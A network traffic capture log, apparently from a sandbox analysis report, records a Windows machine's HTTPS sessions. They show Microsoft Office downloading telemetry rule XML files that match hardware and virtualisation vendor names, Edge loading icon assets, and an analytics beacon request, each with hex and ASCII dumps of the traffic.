2024-11-26 00:41:46 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004146Z-174f7845968zgtf6hC1EWRqd8s0000000mm0000000006qv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:47 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:47 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004146Z-174f7845968nxc96hC1EWRspw80000000ubg000000005wx2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:47 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:46 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004146Z-174f7845968vqt9xhC1EWRgten0000000ur0000000005tzh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:46 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:47 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004146Z-174f78459685m244hC1EWRgp2c0000000ud0000000006erb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:46 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:47 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:46 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004146Z-174f7845968j6t2phC1EWRcfe80000000ut00000000067x1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49898	13.107.246.40	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:48 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:48 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:48 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 0fa3f0b7-901e-002d-4291-3febc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004148Z-174f7845968pf68xhC1EWRr4h80000000uy00000000063ek Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:48 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49899	13.107.246.40	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:48 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 00:41:48 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:48 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 65376a0f-201e-0059-5391-3f6d81000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T004148Z-174f7845968g6hv8hC1EWR1v2n00000002q00000000049zk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:48 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:48 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:49 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:49 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004149Z-174f7845968zgtf6hC1EWRqd8s0000000ms0000000001201 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:49 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:48 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:49 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004149Z-174f7845968xlwnmhC1EWR0sv80000000ugg000000005zh3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:49 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:48 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004149Z-174f78459685m244hC1EWRgp2c0000000ufg00000000679v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:48 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:49 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:49 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004149Z-174f7845968qj8jrhC1EWRh41s0000000ug000000000686k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:49 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49907	13.226.94.67	443	7936	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:49 UTC	925	OUT	GET /b?rn=1732581705996&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3553E294F9366CAE0604F7D7F89E6D7D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
